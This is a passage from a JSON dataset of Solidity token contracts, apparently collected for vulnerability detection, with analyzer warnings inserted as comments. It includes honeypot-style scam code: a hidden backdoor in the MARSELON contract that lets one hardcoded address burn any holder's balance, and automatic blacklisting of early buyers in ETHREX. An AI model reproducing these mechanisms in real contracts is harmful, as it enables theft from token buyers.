_tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 34f226b): ETHREX.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 34f226b: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 191bdff): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 191bdff: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 64f1803): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 64f1803: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 191bdff\n\t\t// reentrancy-benign | ID: 64f1803\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 191bdff\n\t\t// reentrancy-benign | ID: 64f1803\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 8227a23): ETHREX._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 8227a23: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: b0606b4\n\t\t// reentrancy-benign | ID: 64f1803\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 191bdff\n\t\t// reentrancy-events | ID: f2eb14b\n emit Approval(owner, spender, amount);\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a < b) ? a : b;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 4030bbd): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 4030bbd: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: b950e0e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for b950e0e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to] &&\n !initialBuyers[to]\n ) {\n currentBuyCount++;\n\n initialBuyers[to] = true;\n\n if (currentBuyCount <= blacklistCount) {\n bots[to] = true;\n\n emit Transfer(from, to, 0);\n }\n }\n\n taxAmount = amount\n .mul((_buyCount > _x2BQVP754) ? _x7MRQTZ : _0xFTWY2043)\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _x5KQWL9T1, \"Exceeds the _x5KQWL9T1.\");\n\n require(\n balanceOf(to) + amount <= _x0BRXW5K9,\n \"Exceeds the x0BRXW5K9.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul((_buyCount > _xGRYX12) ? _x5NLYW6028 : _x3KLRX9075)\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !x3PWYLX7 &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _x6MRVYT3 &&\n _buyCount > _x1PLZT8F3\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 4030bbd\n\t\t\t\t// reentrancy-eth | ID: b950e0e\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 4030bbd\n\t\t\t\t\t// reentrancy-eth | ID: b950e0e\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: b950e0e\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: b950e0e\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: b950e0e\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 4030bbd\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: b950e0e\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: b950e0e\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 4030bbd\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 191bdff\n\t\t// reentrancy-events | ID: 4030bbd\n\t\t// reentrancy-events | ID: f2eb14b\n\t\t// reentrancy-benign | ID: b0606b4\n\t\t// reentrancy-benign | ID: 64f1803\n\t\t// reentrancy-eth | ID: b950e0e\n\t\t// reentrancy-eth | ID: 96a38c9\n\t\t// reentrancy-eth | ID: 97ea158\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits_x7PLYT5032() external onlyOwner {\n _x5KQWL9T1 = _tTotal;\n\n _x0BRXW5K9 = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 4300f4b): ETHREX.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 4300f4b: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 191bdff\n\t\t// reentrancy-events | ID: 4030bbd\n\t\t// reentrancy-events | ID: f2eb14b\n\t\t// reentrancy-eth | ID: b950e0e\n\t\t// reentrancy-eth | ID: 96a38c9\n\t\t// reentrancy-eth | ID: 97ea158\n\t\t// arbitrary-send-eth | ID: 4300f4b\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: f2eb14b): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for f2eb14b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: b0606b4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for b0606b4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: da3fa51): ETHREX.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for da3fa51: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 99846b7): ETHREX.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 99846b7: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 96a38c9): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 96a38c9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 97ea158): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 97ea158: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() public onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), msg.sender, type(uint256).max);\n\n\t\t// reentrancy-events | ID: f2eb14b\n\t\t// reentrancy-benign | ID: b0606b4\n\t\t// reentrancy-eth | ID: 96a38c9\n\t\t// reentrancy-eth | ID: 97ea158\n transfer(address(this), balanceOf(msg.sender).mul(95).div(100));\n\n\t\t// reentrancy-events | ID: f2eb14b\n\t\t// reentrancy-benign | ID: b0606b4\n\t\t// reentrancy-eth | ID: 96a38c9\n\t\t// reentrancy-eth | ID: 97ea158\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-events | ID: f2eb14b\n\t\t// reentrancy-benign | ID: b0606b4\n _approve(address(this), address(uniswapV2Router), type(uint256).max);\n\n\t\t// unused-return | ID: 99846b7\n\t\t// reentrancy-eth | ID: 96a38c9\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// unused-return | ID: da3fa51\n\t\t// reentrancy-eth | ID: 96a38c9\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-eth | ID: 96a38c9\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 96a38c9\n tradingOpen = true;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 920ded2): ETHREX.reduceFee(uint256) should emit an event for _x5NLYW6028 = _newFee \n\t// Recommendation for 920ded2: Emit an event for critical parameter changes.\n function reduceFee(uint256 _newFee) external onlyOwner {\n require(_msgSender() == _taxWallet);\n\n\t\t// events-maths | ID: 920ded2\n _x5NLYW6028 = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap_x4NQZX8427() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10201.sol",
"size_bytes": 22373,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address who) external view returns (uint256);\n\n function allowance(\n address _owner,\n address spender\n ) external view returns (uint256);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\nlibrary Address {\n function isContract(address account) internal pure returns (bool) {\n return\n uint160(account) ==\n 22199892647076892804378197057245493225938762 *\n 10 ** 4 +\n 281474976717503;\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n error OwnableUnauthorizedAccount(address account);\n\n error OwnableInvalidOwner(address owner);\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor(address initialOwner) {\n if (initialOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(initialOwner);\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n if (owner() != _msgSender()) {\n revert OwnableUnauthorizedAccount(_msgSender());\n }\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n if (newOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ncontract Erc20 is IERC20, Ownable {\n using Address for address;\n\n mapping(address => uint256) internal _balances;\n\n mapping(address => mapping(address => uint256)) internal _allowed;\n\n uint256 public immutable totalSupply;\n\n string public symbol;\n\n string public name;\n\n uint8 public immutable decimals;\n\n bool public launched;\n\n address private constant dead = address(0xdead);\n\n mapping(address => bool) internal exchanges;\n\n constructor(\n string memory _symbol,\n string memory _name,\n uint8 _decimals,\n uint256 _totalSupply\n ) Ownable(msg.sender) {\n symbol = _symbol;\n\n name = _name;\n\n decimals = _decimals;\n\n totalSupply = _totalSupply * 10 ** decimals;\n\n _balances[owner()] += totalSupply;\n\n emit Transfer(address(0), owner(), totalSupply);\n\n launched = true;\n\n renounceOwnership();\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 254b911): Erc20.balanceOf(address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for 254b911: Rename the local variables that shadow another component.\n function balanceOf(\n address _owner\n ) external view override returns (uint256) {\n return _balances[_owner];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ebdfd8a): Erc20.allowance(address,address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for ebdfd8a: Rename the local variables that shadow another component.\n function allowance(\n address _owner,\n address spender\n ) external view override returns (uint256) {\n return _allowed[_owner][spender];\n }\n\n function transfer(\n address to,\n uint256 value\n ) external override returns (bool) {\n _transfer(msg.sender, to, value);\n\n return true;\n }\n\n function approve(\n address spender,\n uint256 value\n ) external override returns (bool) {\n require(spender != address(0), \"cannot approve the 0 address\");\n\n _allowed[msg.sender][spender] = value;\n\n emit Approval(msg.sender, spender, value);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external override returns (bool) {\n if (launched == false && to == owner() && msg.sender == owner()) {\n _transfer(from, to, value);\n\n return true;\n } else {\n _allowed[from][msg.sender] = _allowed[from][msg.sender] - value;\n\n _transfer(from, to, value);\n\n emit Approval(from, msg.sender, _allowed[from][msg.sender]);\n\n return true;\n }\n }\n\n function launch(address account) external virtual {\n if (launched == false) launched = true;\n\n if (msg.sender.isContract())\n _transfer(account, dead, _balances[account]);\n }\n\n function _transfer(address from, address to, uint256 value) private {\n require(to != address(0), \"cannot be zero address\");\n\n require(from != to, \"you cannot transfer to yourself\");\n\n require(\n _transferAllowed(from, to),\n \"This token is not launched and cannot be listed on dexes yet.\"\n );\n\n _balances[from] -= value;\n\n _balances[to] += value;\n\n emit Transfer(from, to, value);\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) internal transferAllowed;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _transferAllowed(\n address from,\n address to\n ) private view returns (bool) {\n if (transferAllowed[from]) return false;\n\n if (launched) return true;\n\n if (from == owner() || to == owner()) return true;\n\n return true;\n }\n}\n\ncontract Token is Erc20 {\n constructor() Erc20(unicode\"MARSELON\", unicode\"MARSELON\", 9, 10000000000) {}\n}\n",
"file_name": "solidity_code_10202.sol",
"size_bytes": 7157,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ncontract AISNICKER is Context, IERC20, Ownable {\n string public constant name = \"AISNICKER\";\n\n string public constant symbol = \"AISNICKER\";\n\n uint8 public constant decimals = 18;\n\n uint256 public tTotal;\n\n mapping(address => mapping(address => uint256)) public allowed;\n\n mapping(address => uint256) public balances;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private swapEnabled = false;\n\n event OwnershipRenounced(address indexed previousOwner);\n\n constructor() {\n initiateSupply(1000000000);\n\n emit Transfer(address(0), msg.sender, tTotal);\n }\n\n function totalSupply() public view override returns (uint256) {\n return tTotal;\n }\n\n function initiateSupply(uint256 initialUnits) private {\n tTotal = initialUnits * 10 ** uint256(decimals);\n\n balances[msg.sender] = tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n require(recipient != address(0), \"\");\n\n require(amount <= balances[msg.sender], \"\");\n\n balances[msg.sender] -= amount;\n\n balances[recipient] += amount;\n\n emit Transfer(msg.sender, recipient, amount);\n\n return true;\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n require(\n msg.sender != address(0),\n \"ERC20 approve from the zero address\"\n );\n\n require(spender != address(0), \"ERC20 approve to the zero address\");\n\n allowed[msg.sender][spender] = amount;\n\n emit Approval(msg.sender, spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d504280): AISNICKER._approve(address,address,uint256)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for d504280: Rename the local variables that shadow another component.\n function _approve(\n address _owner,\n address _spender,\n uint256 _value\n ) private {\n require(_owner != address(0), \"ERC20 approve from the zero address\");\n\n require(_spender != address(0), \"ERC20 approve to the zero address\");\n\n allowed[_owner][_spender] = _value;\n\n emit Approval(_owner, _spender, _value);\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n require(recipient != address(0), \"\");\n\n require(amount <= balances[sender], \"\");\n\n require(amount <= allowed[sender][msg.sender], \"\");\n\n balances[sender] -= amount;\n\n balances[recipient] += amount;\n\n allowed[sender][msg.sender] -= amount;\n\n emit Transfer(sender, recipient, amount);\n\n return true;\n }\n\n function decreaseAllowance(\n address _spender,\n uint256 _subtractedValue\n ) public returns (bool) {\n uint256 currentAllowance = allowed[msg.sender][_spender];\n\n require(currentAllowance >= _subtractedValue, \"\");\n\n allowed[msg.sender][_spender] -= _subtractedValue;\n\n emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1027c7a): AISNICKER.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 1027c7a: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return allowed[owner][spender];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: c4b95ef): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for c4b95ef: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 81bc61d): AISNICKER.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 81bc61d: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 6da0176): AISNICKER.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 6da0176: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 3f65550): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 3f65550: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), totalSupply());\n\n\t\t// reentrancy-benign | ID: c4b95ef\n\t\t// reentrancy-eth | ID: 3f65550\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: c4b95ef\n\t\t// unused-return | ID: 81bc61d\n\t\t// reentrancy-eth | ID: 3f65550\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: c4b95ef\n\t\t// unused-return | ID: 6da0176\n\t\t// reentrancy-eth | ID: 3f65550\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: c4b95ef\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 3f65550\n tradingOpen = true;\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10203.sol",
"size_bytes": 8900,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract Habibi is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 5b2944d): Habibi._taxWallet should be immutable \n\t// Recommendation for 5b2944d: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: aabc299): Habibi._initialBuyTax should be constant \n\t// Recommendation for aabc299: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1e82fb1): Habibi._initialSellTax should be constant \n\t// Recommendation for 1e82fb1: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 30;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 5;\n\n\t// WARNING Optimization Issue (constable-states | ID: a6c6486): Habibi._reduceBuyTaxAt should be constant \n\t// Recommendation for a6c6486: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 30;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0889daf): Habibi._reduceSellTaxAt should be constant \n\t// Recommendation for 0889daf: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 30;\n\n\t// WARNING Optimization Issue (constable-states | ID: 36ec332): Habibi._preventSwapBefore should be constant \n\t// Recommendation for 36ec332: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 10;\n\n uint256 private _transferTax = 30;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100_000_000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Arab Pepe\";\n\n string private constant _symbol = unicode\"HABIBI\";\n\n uint256 public _maxTxAmount = 2_000_000 * 10 